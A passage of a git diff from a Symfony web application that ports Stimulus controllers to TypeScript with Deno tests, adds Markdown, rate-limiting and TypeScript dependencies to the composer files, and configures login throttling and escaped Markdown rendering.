// Update the pathname
currentUrl.pathname = pathParts.join('/');
// Navigate
window.location.href = currentUrl.href;
}
}
@@ -0,0 +1,14 @@
import { Controller } from '@hotwired/stimulus';
export default class extends Controller {
next(): void {
const currentUrl = new URL(window.location.href);
const pathParts = currentUrl.pathname.split('/');
// Remove the last segment
pathParts.pop();
// Update the pathname
currentUrl.pathname = pathParts.join('/');
// Navigate
window.location.href = currentUrl.href;
}
}
@@ -1,40 +0,0 @@
import {Controller} from '@hotwired/stimulus';
const STORAGE_KEY = 'tvdt-fullscreen';
export default class extends Controller {
connect() {
this.onFullscreenChange = this.onFullscreenChange.bind(this);
document.addEventListener('fullscreenchange', this.onFullscreenChange);
this.syncState();
if (sessionStorage.getItem(STORAGE_KEY) === '1' && !document.fullscreenElement) {
this.request();
}
}
disconnect() {
document.removeEventListener('fullscreenchange', this.onFullscreenChange);
}
toggle() {
if (document.fullscreenElement) {
document.exitFullscreen();
} else {
this.request();
}
}
request() {
document.documentElement.requestFullscreen().catch(() => {});
}
onFullscreenChange() {
sessionStorage.setItem(STORAGE_KEY, document.fullscreenElement ? '1' : '0');
this.syncState();
}
syncState() {
document.documentElement.classList.toggle('is-fullscreen', Boolean(document.fullscreenElement));
}
}
@@ -0,0 +1,51 @@
import { Controller } from '@hotwired/stimulus';
const STORAGE_KEY = 'tvdt-fullscreen';
export default class extends Controller {
connect(): void {
document.addEventListener('fullscreenchange', this.onFullscreenChange);
this.syncState();
if (
sessionStorage.getItem(STORAGE_KEY) === '1' &&
!document.fullscreenElement
) {
this.request();
}
}
disconnect(): void {
document.removeEventListener(
'fullscreenchange',
this.onFullscreenChange,
);
}
toggle(): void {
if (document.fullscreenElement) {
document.exitFullscreen();
} else {
this.request();
}
}
request(): void {
document.documentElement.requestFullscreen().catch(() => {});
}
onFullscreenChange = (): void => {
sessionStorage.setItem(
STORAGE_KEY,
document.fullscreenElement ? '1' : '0',
);
this.syncState();
};
syncState(): void {
document.documentElement.classList.toggle(
'is-fullscreen',
Boolean(document.fullscreenElement),
);
}
}
@@ -0,0 +1,75 @@
import { assertEquals } from '@std/assert';
// Stimulus's Controller base class constructor only does `this.context = context`
// (see @hotwired/stimulus dist/stimulus.js), and none of this controller's methods
// touch Stimulus-specific getters (element/scope/targets), so a plain `{}` context
// is enough to construct a real instance. `document`/`sessionStorage` are stubbed
// since Deno has no browser DOM.
class FakeClassList {
classes = new Set<string>();
toggle(name: string, force?: boolean) {
const shouldAdd = force ?? !this.classes.has(name);
if (shouldAdd) this.classes.add(name);
else this.classes.delete(name);
}
contains(name: string) {
return this.classes.has(name);
}
}
const classList = new FakeClassList();
let fullscreenElement: unknown = null;
const sessionStore = new Map<string, string>();
// deno-lint-ignore no-explicit-any
(globalThis as any).document = {
documentElement: { classList },
get fullscreenElement() {
return fullscreenElement;
},
addEventListener: () => {},
removeEventListener: () => {},
};
// Deno defines a native `sessionStorage` accessor on globalThis (get/set pair), so a
// plain assignment would just call through to it instead of replacing it — redefine
// the property outright.
Object.defineProperty(globalThis, 'sessionStorage', {
value: {
getItem: (key: string) => sessionStore.get(key) ?? null,
setItem: (key: string, value: string) => sessionStore.set(key, value),
},
configurable: true,
});
const { default: FullscreenController } = await import(
'./fullscreen_controller.ts'
);
// deno-lint-ignore no-explicit-any
function makeController(): any {
return new FullscreenController({} as never);
}
Deno.test('syncState adds is-fullscreen when a fullscreen element is set', () => {
fullscreenElement = { tagName: 'HTML' };
makeController().syncState();
assertEquals(classList.contains('is-fullscreen'), true);
});
Deno.test('syncState removes is-fullscreen when there is no fullscreen element', () => {
fullscreenElement = null;
makeController().syncState();
assertEquals(classList.contains('is-fullscreen'), false);
});
Deno.test('onFullscreenChange persists the fullscreen state and syncs classes', () => {
fullscreenElement = { tagName: 'HTML' };
makeController().onFullscreenChange();
assertEquals(sessionStore.get('tvdt-fullscreen'), '1');
assertEquals(classList.contains('is-fullscreen'), true);
fullscreenElement = null;
makeController().onFullscreenChange();
assertEquals(sessionStore.get('tvdt-fullscreen'), '0');
assertEquals(classList.contains('is-fullscreen'), false);
});
+2 -2
View File
@@ -1,4 +1,4 @@
import 'bootstrap/dist/css/bootstrap.min.css'; import 'bootstrap/dist/css/bootstrap.min.css';
import './styles/quiz.scss'; import './styles/quiz.scss';
import './stimulus.js'; import './stimulus.ts';
import './bootstrap.js'; import './bootstrap.ts';
+1 -1
View File
@@ -1,3 +1,3 @@
import { startStimulusApp } from '@symfony/stimulus-bundle'; import { startStimulusApp } from '@symfony/stimulus-bundle';
const app = startStimulusApp(); startStimulusApp();
+6
View File
@@ -3,3 +3,9 @@
.col-result-md { width: 20%; } .col-result-md { width: 20%; }
.modal-content > turbo-frame { display: contents; } .modal-content > turbo-frame { display: contents; }
.release-notes {
overflow-wrap: break-word;
> :last-child { margin-bottom: 0; }
}
+11
View File
@@ -0,0 +1,11 @@
// Ambient declarations for the parts of the AssetMapper toolchain that Deno's
// module resolution doesn't otherwise understand: CSS/SCSS side-effect imports
// (handled by AssetMapper at build time, not a JS module) and the Symfony
// stimulus-bundle loader (a local vendor/ file, not an npm package).
declare module '*.css';
declare module '*.scss';
declare module '@symfony/stimulus-bundle' {
export function startStimulusApp(): unknown;
}
+1 -1
View File
@@ -10,7 +10,7 @@ services:
- ~/.composer/cache:/root/.composer/cache - ~/.composer/cache:/root/.composer/cache
- ./frankenphp/Caddyfile:/etc/caddy/Caddyfile:ro - ./frankenphp/Caddyfile:/etc/caddy/Caddyfile:ro
- ./frankenphp/conf.d/20-app.dev.ini:/usr/local/etc/php/app.conf.d/20-app.dev.ini:ro - ./frankenphp/conf.d/20-app.dev.ini:/usr/local/etc/php/app.conf.d/20-app.dev.ini:ro
- ./frankenphp/data:/data - ${CADDY_DATA_DIR:-./frankenphp/data}:/data
- sass:/app/var/sass - sass:/app/var/sass
environment: environment:
MERCURE_EXTRA_DIRECTIVES: demo MERCURE_EXTRA_DIRECTIVES: demo
+7
View File
@@ -9,14 +9,18 @@
"php": ">=8.5", "php": ">=8.5",
"ext-ctype": "*", "ext-ctype": "*",
"ext-iconv": "*", "ext-iconv": "*",
"ext-intl": "*",
"ext-zip": "*",
"doctrine/dbal": "^4.4.3", "doctrine/dbal": "^4.4.3",
"doctrine/doctrine-bundle": "^3.2.2", "doctrine/doctrine-bundle": "^3.2.2",
"doctrine/doctrine-migrations-bundle": "^4.0", "doctrine/doctrine-migrations-bundle": "^4.0",
"doctrine/orm": "^3.6.2", "doctrine/orm": "^3.6.2",
"league/commonmark": "^2.7",
"martin-georgiev/postgresql-for-doctrine": "^4.4", "martin-georgiev/postgresql-for-doctrine": "^4.4",
"phpdocumentor/reflection-docblock": "^6.0.3", "phpdocumentor/reflection-docblock": "^6.0.3",
"phpoffice/phpspreadsheet": "^5.5", "phpoffice/phpspreadsheet": "^5.5",
"phpstan/phpdoc-parser": "^2.3.2", "phpstan/phpdoc-parser": "^2.3.2",
"sensiolabs/typescript-bundle": "^0.2.2",
"sentry/sentry-symfony": "^5.9.0", "sentry/sentry-symfony": "^5.9.0",
"stof/doctrine-extensions-bundle": "^1.15.3", "stof/doctrine-extensions-bundle": "^1.15.3",
"symfony/asset": "8.1.*", "symfony/asset": "8.1.*",
@@ -27,10 +31,12 @@
"symfony/flex": "^2.11.0", "symfony/flex": "^2.11.0",
"symfony/form": "8.1.*", "symfony/form": "8.1.*",
"symfony/framework-bundle": "8.1.*", "symfony/framework-bundle": "8.1.*",
"symfony/http-client": "8.1.*",
"symfony/mailer": "8.1.*", "symfony/mailer": "8.1.*",
"symfony/object-mapper": "8.1.*", "symfony/object-mapper": "8.1.*",
"symfony/property-access": "8.1.*", "symfony/property-access": "8.1.*",
"symfony/property-info": "8.1.*", "symfony/property-info": "8.1.*",
"symfony/rate-limiter": "8.1.*",
"symfony/runtime": "8.1.*", "symfony/runtime": "8.1.*",
"symfony/security-bundle": "8.1.*", "symfony/security-bundle": "8.1.*",
"symfony/security-csrf": "8.1.*", "symfony/security-csrf": "8.1.*",
@@ -48,6 +54,7 @@
"thecodingmachine/safe": "^3.4.0", "thecodingmachine/safe": "^3.4.0",
"twig/extra-bundle": "^3.24.0", "twig/extra-bundle": "^3.24.0",
"twig/intl-extra": "^3.24.0", "twig/intl-extra": "^3.24.0",
"twig/markdown-extra": "^3.24.0",
"twig/twig": "^3.27.1" "twig/twig": "^3.27.1"
}, },
"require-dev": { "require-dev": {
Generated
+628 -2
View File
@@ -4,7 +4,7 @@
"Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
"This file is @generated automatically" "This file is @generated automatically"
], ],
"content-hash": "ccae654dd9c952e8920d9cb9c0f35ff5", "content-hash": "8be25e3d256bbcc2d3c36cecac47feed",
"packages": [ "packages": [
{ {
"name": "composer/pcre", "name": "composer/pcre",
@@ -159,6 +159,81 @@
], ],
"time": "2025-08-20T19:15:30+00:00" "time": "2025-08-20T19:15:30+00:00"
}, },
{
"name": "dflydev/dot-access-data",
"version": "v3.0.3",
"source": {
"type": "git",
"url": "https://github.com/dflydev/dflydev-dot-access-data.git",
"reference": "a23a2bf4f31d3518f3ecb38660c95715dfead60f"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/dflydev/dflydev-dot-access-data/zipball/a23a2bf4f31d3518f3ecb38660c95715dfead60f",
"reference": "a23a2bf4f31d3518f3ecb38660c95715dfead60f",
"shasum": ""
},
"require": {
"php": "^7.1 || ^8.0"
},
"require-dev": {
"phpstan/phpstan": "^0.12.42",
"phpunit/phpunit": "^7.5 || ^8.5 || ^9.3",
"scrutinizer/ocular": "1.6.0",
"squizlabs/php_codesniffer": "^3.5",
"vimeo/psalm": "^4.0.0"
},
"type": "library",
"extra": {
"branch-alias": {
"dev-main": "3.x-dev"
}
},
"autoload": {
"psr-4": {
"Dflydev\\DotAccessData\\": "src/"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Dragonfly Development Inc.",
"email": "info@dflydev.com",
"homepage": "http://dflydev.com"
},
{
"name": "Beau Simensen",
"email": "beau@dflydev.com",
"homepage": "http://beausimensen.com"
},
{
"name": "Carlos Frutos",
"email": "carlos@kiwing.it",
"homepage": "https://github.com/cfrutos"
},
{
"name": "Colin O'Dell",
"email": "colinodell@gmail.com",
"homepage": "https://www.colinodell.com"
}
],
"description": "Given a deep data structure, access data by dot notation.",
"homepage": "https://github.com/dflydev/dflydev-dot-access-data",
"keywords": [
"access",
"data",
"dot",
"notation"
],
"support": {
"issues": "https://github.com/dflydev/dflydev-dot-access-data/issues",
"source": "https://github.com/dflydev/dflydev-dot-access-data/tree/v3.0.3"
},
"time": "2024-07-08T12:26:09+00:00"
},
{ {
"name": "doctrine/collections", "name": "doctrine/collections",
"version": "2.6.0", "version": "2.6.0",
@@ -1652,6 +1727,195 @@
}, },
"time": "2025-03-19T14:43:43+00:00" "time": "2025-03-19T14:43:43+00:00"
}, },
{
"name": "league/commonmark",
"version": "2.8.3",
"source": {
"type": "git",
"url": "https://github.com/thephpleague/commonmark.git",
"reference": "1902f60f984235023acbe03db6ad614a37b3c3e7"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/thephpleague/commonmark/zipball/1902f60f984235023acbe03db6ad614a37b3c3e7",
"reference": "1902f60f984235023acbe03db6ad614a37b3c3e7",
"shasum": ""
},
"require": {
"ext-mbstring": "*",
"league/config": "^1.1.1",
"php": "^7.4 || ^8.0",
"psr/event-dispatcher": "^1.0",
"symfony/deprecation-contracts": "^2.1 || ^3.0",
"symfony/polyfill-php80": "^1.16"
},
"require-dev": {
"cebe/markdown": "^1.0",
"commonmark/cmark": "0.31.1",
"commonmark/commonmark.js": "0.31.1",
"composer/package-versions-deprecated": "^1.8",
"embed/embed": "^4.4",
"erusev/parsedown": "^1.0",
"ext-json": "*",
"github/gfm": "0.29.0",
"michelf/php-markdown": "^1.4 || ^2.0",
"nyholm/psr7": "^1.5",
"phpstan/phpstan": "^2.0.0",
"phpunit/phpunit": "^9.5.21 || ^10.5.9 || ^11.0.0 || ^12.0.0 || ^13.0.0",
"scrutinizer/ocular": "^1.8.1",
"symfony/finder": "^5.3 | ^6.0 | ^7.0 || ^8.0",
"symfony/process": "^5.4 | ^6.0 | ^7.0 || ^8.0",
"symfony/yaml": "^2.3 | ^3.0 | ^4.0 | ^5.0 | ^6.0 | ^7.0 || ^8.0",
"unleashedtech/php-coding-standard": "^3.1.1",
"vimeo/psalm": "^4.24.0 || ^5.0.0 || ^6.0.0"
},
"suggest": {
"symfony/yaml": "v2.3+ required if using the Front Matter extension"
},
"type": "library",
"extra": {
"branch-alias": {
"dev-main": "2.9-dev"
}
},
"autoload": {
"psr-4": {
"League\\CommonMark\\": "src"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"BSD-3-Clause"
],
"authors": [
{
"name": "Colin O'Dell",
"email": "colinodell@gmail.com",
"homepage": "https://www.colinodell.com",
"role": "Lead Developer"
}
],
"description": "Highly-extensible PHP Markdown parser which fully supports the CommonMark spec and GitHub-Flavored Markdown (GFM)",
"homepage": "https://commonmark.thephpleague.com",
"keywords": [
"commonmark",
"flavored",
"gfm",
"github",
"github-flavored",
"markdown",
"md",
"parser"
],
"support": {
"docs": "https://commonmark.thephpleague.com/",
"forum": "https://github.com/thephpleague/commonmark/discussions",
"issues": "https://github.com/thephpleague/commonmark/issues",
"rss": "https://github.com/thephpleague/commonmark/releases.atom",
"source": "https://github.com/thephpleague/commonmark"
},
"funding": [
{
"url": "https://www.colinodell.com/sponsor",
"type": "custom"
},
{
"url": "https://www.paypal.me/colinpodell/10.00",
"type": "custom"
},
{
"url": "https://github.com/colinodell",
"type": "github"
},
{
"url": "https://tidelift.com/funding/github/packagist/league/commonmark",
"type": "tidelift"
}
],
"time": "2026-07-12T15:29:16+00:00"
},
{
"name": "league/config",
"version": "v1.2.0",
"source": {
"type": "git",
"url": "https://github.com/thephpleague/config.git",
"reference": "754b3604fb2984c71f4af4a9cbe7b57f346ec1f3"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/thephpleague/config/zipball/754b3604fb2984c71f4af4a9cbe7b57f346ec1f3",
"reference": "754b3604fb2984c71f4af4a9cbe7b57f346ec1f3",
"shasum": ""
},
"require": {
"dflydev/dot-access-data": "^3.0.1",
"nette/schema": "^1.2",
"php": "^7.4 || ^8.0"
},
"require-dev": {
"phpstan/phpstan": "^1.8.2",
"phpunit/phpunit": "^9.5.5",
"scrutinizer/ocular": "^1.8.1",
"unleashedtech/php-coding-standard": "^3.1",
"vimeo/psalm": "^4.7.3"
},
"type": "library",
"extra": {
"branch-alias": {
"dev-main": "1.2-dev"
}
},
"autoload": {
"psr-4": {
"League\\Config\\": "src"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"BSD-3-Clause"
],
"authors": [
{
"name": "Colin O'Dell",
"email": "colinodell@gmail.com",
"homepage": "https://www.colinodell.com",
"role": "Lead Developer"
}
],
"description": "Define configuration arrays with strict schemas and access values with dot notation",
"homepage": "https://config.thephpleague.com",
"keywords": [
"array",
"config",
"configuration",
"dot",
"dot-access",
"nested",
"schema"
],
"support": {
"docs": "https://config.thephpleague.com/",
"issues": "https://github.com/thephpleague/config/issues",
"rss": "https://github.com/thephpleague/config/releases.atom",
"source": "https://github.com/thephpleague/config"
},
"funding": [
{
"url": "https://www.colinodell.com/sponsor",
"type": "custom"
},
{
"url": "https://www.paypal.me/colinpodell/10.00",
"type": "custom"
},
{
"url": "https://github.com/colinodell",
"type": "github"
}
],
"time": "2022-12-11T20:36:23+00:00"
},
{ {
"name": "maennchen/zipstream-php", "name": "maennchen/zipstream-php",
"version": "3.2.2", "version": "3.2.2",
@@ -1966,6 +2230,164 @@
], ],
"time": "2026-07-01T18:17:39+00:00" "time": "2026-07-01T18:17:39+00:00"
}, },
{
"name": "nette/schema",
"version": "v1.3.5",
"source": {
"type": "git",
"url": "https://github.com/nette/schema.git",
"reference": "f0ab1a3cda782dbc5da270d28545236aa80c4002"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/nette/schema/zipball/f0ab1a3cda782dbc5da270d28545236aa80c4002",
"reference": "f0ab1a3cda782dbc5da270d28545236aa80c4002",
"shasum": ""
},
"require": {
"nette/utils": "^4.0",
"php": "8.1 - 8.5"
},
"require-dev": {
"nette/phpstan-rules": "^1.0",
"nette/tester": "^2.6",
"phpstan/extension-installer": "^1.4@stable",
"phpstan/phpstan": "^2.1.39@stable",
"tracy/tracy": "^2.8"
},
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "1.3-dev"
}
},
"autoload": {
"psr-4": {
"Nette\\": "src"
},
"classmap": [
"src/"
]
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"BSD-3-Clause",
"GPL-2.0-only",
"GPL-3.0-only"
],
"authors": [
{
"name": "David Grudl",
"homepage": "https://davidgrudl.com"
},
{
"name": "Nette Community",
"homepage": "https://nette.org/contributors"
}
],
"description": "📐 Nette Schema: validating data structures against a given Schema.",
"homepage": "https://nette.org",
"keywords": [
"config",
"nette"
],
"support": {
"issues": "https://github.com/nette/schema/issues",
"source": "https://github.com/nette/schema/tree/v1.3.5"
},
"time": "2026-02-23T03:47:12+00:00"
},
{
"name": "nette/utils",
"version": "v4.1.4",
"source": {
"type": "git",
"url": "https://github.com/nette/utils.git",
"reference": "7da6c396d7ebe142bc857c20479d5e70a5e1aac7"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/nette/utils/zipball/7da6c396d7ebe142bc857c20479d5e70a5e1aac7",
"reference": "7da6c396d7ebe142bc857c20479d5e70a5e1aac7",
"shasum": ""
},
"require": {
"php": "8.2 - 8.5"
},
"conflict": {
"nette/finder": "<3",
"nette/schema": "<1.2.2"
},
"require-dev": {
"jetbrains/phpstorm-attributes": "^1.2",
"nette/phpstan-rules": "^1.0",
"nette/tester": "^2.5",
"phpstan/extension-installer": "^1.4@stable",
"phpstan/phpstan": "^2.1@stable",
"tracy/tracy": "^2.9"
},
"suggest": {
"ext-gd": "to use Image",
"ext-iconv": "to use Strings::webalize(), toAscii(), chr() and reverse()",
"ext-intl": "to use Strings::webalize(), toAscii(), normalize() and compare()",
"ext-json": "to use Nette\\Utils\\Json",
"ext-mbstring": "to use Strings::lower() etc...",
"ext-tokenizer": "to use Nette\\Utils\\Reflection::getUseStatements()"
},
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "4.1-dev"
}
},
"autoload": {
"psr-4": {
"Nette\\": "src"
},
"classmap": [
"src/"
]
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"BSD-3-Clause",
"GPL-2.0-only",
"GPL-3.0-only"
],
"authors": [
{
"name": "David Grudl",
"homepage": "https://davidgrudl.com"
},
{
"name": "Nette Community",
"homepage": "https://nette.org/contributors"
}
],
"description": "🛠 Nette Utils: lightweight utilities for string & array manipulation, image handling, safe JSON encoding/decoding, validation, slug or strong password generating etc.",
"homepage": "https://nette.org",
"keywords": [
"array",
"core",
"datetime",
"images",
"json",
"nette",
"paginator",
"password",
"slugify",
"string",
"unicode",
"utf-8",
"utility",
"validation"
],
"support": {
"issues": "https://github.com/nette/utils/issues",
"source": "https://github.com/nette/utils/tree/v4.1.4"
},
"time": "2026-05-11T20:49:54+00:00"
},
{ {
"name": "phpdocumentor/reflection-common", "name": "phpdocumentor/reflection-common",
"version": "2.2.0", "version": "2.2.0",
@@ -2751,6 +3173,62 @@
}, },
"time": "2019-03-08T08:55:37+00:00" "time": "2019-03-08T08:55:37+00:00"
}, },
{
"name": "sensiolabs/typescript-bundle",
"version": "v0.2.2",
"source": {
"type": "git",
"url": "https://github.com/sensiolabs/AssetMapperTypeScriptBundle.git",
"reference": "b4a498a2b1dd699fd4ea95ae9dfa30ebe77cc8ce"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/sensiolabs/AssetMapperTypeScriptBundle/zipball/b4a498a2b1dd699fd4ea95ae9dfa30ebe77cc8ce",
"reference": "b4a498a2b1dd699fd4ea95ae9dfa30ebe77cc8ce",
"shasum": ""
},
"require": {
"php": ">=8.1",
"symfony/asset-mapper": "^6.3|^7.0|^8.0",
"symfony/console": "^6.3|^7.0|^8.0",
"symfony/http-client": "^6.3|^7.0|^8.0",
"symfony/process": "^6.3|^7.0|^8.0"
},
"require-dev": {
"phpstan/phpstan": "^1",
"phpstan/phpstan-symfony": "^1.3",
"phpunit/phpunit": "^10.5",
"symfony/filesystem": "^6.3|^7.0|^8.0",
"symfony/framework-bundle": "^6.3|^7.0|^8.0"
},
"type": "symfony-bundle",
"autoload": {
"psr-4": {
"Sensiolabs\\TypeScriptBundle\\": "src/"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Maelan LE BORGNE",
"homepage": "https://github.com/maelanleborgne"
}
],
"description": "TypeScript support for Symfony + AssetMapper",
"homepage": "https://github.com/sensiolabs/AssetMapperTypeScriptBundle",
"keywords": [
"asset-mapper",
"typescript"
],
"support": {
"issues": "https://github.com/sensiolabs/AssetMapperTypeScriptBundle/issues",
"source": "https://github.com/sensiolabs/AssetMapperTypeScriptBundle/tree/v0.2.2"
},
"time": "2025-08-28T10:10:44+00:00"
},
{ {
"name": "sentry/sentry", "name": "sentry/sentry",
"version": "4.29.0", "version": "4.29.0",
@@ -6385,6 +6863,80 @@
], ],
"time": "2026-05-29T05:06:50+00:00" "time": "2026-05-29T05:06:50+00:00"
}, },
{
"name": "symfony/rate-limiter",
"version": "v8.1.1",
"source": {
"type": "git",
"url": "https://github.com/symfony/rate-limiter.git",
"reference": "dd8f48286c000b8511b9413105f4118c8c2a4bd6"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/symfony/rate-limiter/zipball/dd8f48286c000b8511b9413105f4118c8c2a4bd6",
"reference": "dd8f48286c000b8511b9413105f4118c8c2a4bd6",
"shasum": ""
},
"require": {
"php": ">=8.4.1",
"symfony/options-resolver": "^7.4|^8.0"
},
"require-dev": {
"psr/cache": "^1.0|^2.0|^3.0",
"symfony/lock": "^7.4|^8.0"
},
"type": "library",
"autoload": {
"psr-4": {
"Symfony\\Component\\RateLimiter\\": ""
},
"exclude-from-classmap": [
"/Tests/"
]
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Wouter de Jong",
"email": "wouter@wouterj.nl"
},
{
"name": "Symfony Community",
"homepage": "https://symfony.com/contributors"
}
],
"description": "Provides a Token Bucket implementation to rate limit input and output in your application",
"homepage": "https://symfony.com",
"keywords": [
"limiter",
"rate-limiter"
],
"support": {
"source": "https://github.com/symfony/rate-limiter/tree/v8.1.1"
},
"funding": [
{
"url": "https://symfony.com/sponsor",
"type": "custom"
},
{
"url": "https://github.com/fabpot",
"type": "github"
},
{
"url": "https://github.com/nicolas-grekas",
"type": "github"
},
{
"url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
"type": "tidelift"
}
],
"time": "2026-06-09T11:06:24+00:00"
},
{ {
"name": "symfony/routing", "name": "symfony/routing",
"version": "v8.1.0", "version": "v8.1.0",
@@ -8711,6 +9263,78 @@
], ],
"time": "2026-05-19T20:44:48+00:00" "time": "2026-05-19T20:44:48+00:00"
}, },
{
"name": "twig/markdown-extra",
"version": "v3.28.0",
"source": {
"type": "git",
"url": "https://github.com/twigphp/markdown-extra.git",
"reference": "5f7b27e41a382fc988fffa6e588d8f9d55b9d896"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/twigphp/markdown-extra/zipball/5f7b27e41a382fc988fffa6e588d8f9d55b9d896",
"reference": "5f7b27e41a382fc988fffa6e588d8f9d55b9d896",
"shasum": ""
},
"require": {
"php": ">=8.1.0",
"symfony/deprecation-contracts": "^2.5|^3",
"twig/twig": "^3.13|^4.0"
},
"require-dev": {
"erusev/parsedown": "dev-master as 1.x-dev",
"league/commonmark": "^2.7",
"league/html-to-markdown": "^4.8|^5.0",
"michelf/php-markdown": "^1.8|^2.0",
"symfony/phpunit-bridge": "^6.4|^7.0"
},
"type": "library",
"autoload": {
"files": [
"Resources/functions.php"
],
"psr-4": {
"Twig\\Extra\\Markdown\\": ""
},
"exclude-from-classmap": [
"/Tests/"
]
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Fabien Potencier",
"email": "fabien@symfony.com",
"homepage": "http://fabien.potencier.org",
"role": "Lead Developer"
}
],
"description": "A Twig extension for Markdown",
"homepage": "https://twig.symfony.com",
"keywords": [
"html",
"markdown",
"twig"
],
"support": {
"source": "https://github.com/twigphp/markdown-extra/tree/v3.28.0"
},
"funding": [
{
"url": "https://github.com/fabpot",
"type": "github"
},
{
"url": "https://tidelift.com/funding/github/packagist/twig/twig",
"type": "tidelift"
}
],
"time": "2026-06-05T19:47:22+00:00"
},
{ {
"name": "twig/twig", "name": "twig/twig",
"version": "v3.28.0", "version": "v3.28.0",
@@ -12961,7 +13585,9 @@
"platform": { "platform": {
"php": ">=8.5", "php": ">=8.5",
"ext-ctype": "*", "ext-ctype": "*",
"ext-iconv": "*" "ext-iconv": "*",
"ext-intl": "*",
"ext-zip": "*"
}, },
"platform-dev": {}, "platform-dev": {},
"plugin-api-version": "2.9.0" "plugin-api-version": "2.9.0"
+2
View File
@@ -6,6 +6,7 @@ use DAMA\DoctrineTestBundle\DAMADoctrineTestBundle;
use Doctrine\Bundle\DoctrineBundle\DoctrineBundle; use Doctrine\Bundle\DoctrineBundle\DoctrineBundle;
use Doctrine\Bundle\FixturesBundle\DoctrineFixturesBundle; use Doctrine\Bundle\FixturesBundle\DoctrineFixturesBundle;
use Doctrine\Bundle\MigrationsBundle\DoctrineMigrationsBundle; use Doctrine\Bundle\MigrationsBundle\DoctrineMigrationsBundle;
use Sensiolabs\TypeScriptBundle\SensiolabsTypeScriptBundle;
use Sentry\SentryBundle\SentryBundle; use Sentry\SentryBundle\SentryBundle;
use Stof\DoctrineExtensionsBundle\StofDoctrineExtensionsBundle; use Stof\DoctrineExtensionsBundle\StofDoctrineExtensionsBundle;
use Symfony\Bundle\FrameworkBundle\FrameworkBundle; use Symfony\Bundle\FrameworkBundle\FrameworkBundle;
@@ -38,4 +39,5 @@ return [
DAMADoctrineTestBundle::class => ['test' => true], DAMADoctrineTestBundle::class => ['test' => true],
StofDoctrineExtensionsBundle::class => ['all' => true], StofDoctrineExtensionsBundle::class => ['all' => true],
SymfonyCastsResetPasswordBundle::class => ['all' => true], SymfonyCastsResetPasswordBundle::class => ['all' => true],
SensiolabsTypeScriptBundle::class => ['all' => true],
]; ];
+4
View File
@@ -6,8 +6,12 @@ framework:
excluded_patterns: excluded_patterns:
- '*/assets/styles/_*.scss' - '*/assets/styles/_*.scss'
- '*/assets/styles/**/_*.scss' - '*/assets/styles/**/_*.scss'
- '*/assets/**/*_test.ts'
- '*/assets/types/*.d.ts'
missing_import_mode: strict missing_import_mode: strict
sensiolabs_typescript:
source_dir: ['%kernel.project_dir%/assets']
when@prod: when@prod:
framework: framework:
+10
View File
@@ -9,6 +9,13 @@ framework:
enabled: true enabled: true
#esi: true #esi: true
#fragments: true #fragments: true
rate_limiter:
# Throttles guesses against the public season-code entry point (config/packages/security.yaml
# handles throttling for the backoffice /login form separately).
season_code:
policy: sliding_window
limit: 20
interval: '1 minute'
when@prod: when@prod:
framework: framework:
# shortcut for private IP address ranges of your proxy # shortcut for private IP address ranges of your proxy
@@ -21,3 +28,6 @@ when@test:
test: true test: true
session: session:
storage_factory_id: session.storage.factory.mock_file storage_factory_id: session.storage.factory.mock_file
rate_limiter:
season_code:
limit: 3
+7
View File
@@ -27,9 +27,12 @@ security:
remember_me: remember_me:
secret: '%kernel.secret%' secret: '%kernel.secret%'
lifetime: 604800 # 1 week in seconds lifetime: 604800 # 1 week in seconds
login_throttling:
max_attempts: 5
access_control: access_control:
- { path: ^/admin, roles: ROLE_ADMIN } - { path: ^/admin, roles: ROLE_ADMIN }
- { path: ^/backoffice/releases$, roles: PUBLIC_ACCESS }
- { path: ^/backoffice, roles: IS_AUTHENTICATED } - { path: ^/backoffice, roles: IS_AUTHENTICATED }
when@test: when@test:
@@ -42,3 +45,7 @@ when@test:
cost: 4 # Lowest possible value for bcrypt cost: 4 # Lowest possible value for bcrypt
time_cost: 3 # Lowest possible value for argon time_cost: 3 # Lowest possible value for argon
memory_cost: 10 # Lowest possible value for argon memory_cost: 10 # Lowest possible value for argon
firewalls:
main:
login_throttling:
max_attempts: 2
+8
View File
@@ -0,0 +1,8 @@
twig_extra:
commonmark:
allow_unsafe_links: false
html_input: escape
services:
League\CommonMark\Extension\Autolink\AutolinkExtension:
tags: ['twig.markdown.league_extension']
+13 -2
View File
@@ -629,7 +629,7 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
* }>, * }>,
* }, * },
* rate_limiter?: bool|array{ // Rate limiter configuration * rate_limiter?: bool|array{ // Rate limiter configuration
* enabled?: bool|Param, // Default: false * enabled?: bool|Param, // Default: true
* limiters?: array<string, array{ // Default: [] * limiters?: array<string, array{ // Default: []
* lock_factory?: scalar|Param|null, // The service ID of the lock factory used by this limiter (or null to disable locking). // Default: "auto" * lock_factory?: scalar|Param|null, // The service ID of the lock factory used by this limiter (or null to disable locking). // Default: "auto"
* cache_pool?: scalar|Param|null, // The cache pool to use for storing the current limiter state. // Default: "cache.rate_limiter" * cache_pool?: scalar|Param|null, // The cache pool to use for storing the current limiter state. // Default: "cache.rate_limiter"
@@ -1271,7 +1271,7 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
* enabled?: bool|Param, // Default: false * enabled?: bool|Param, // Default: false
* }, * },
* markdown?: bool|array{ * markdown?: bool|array{
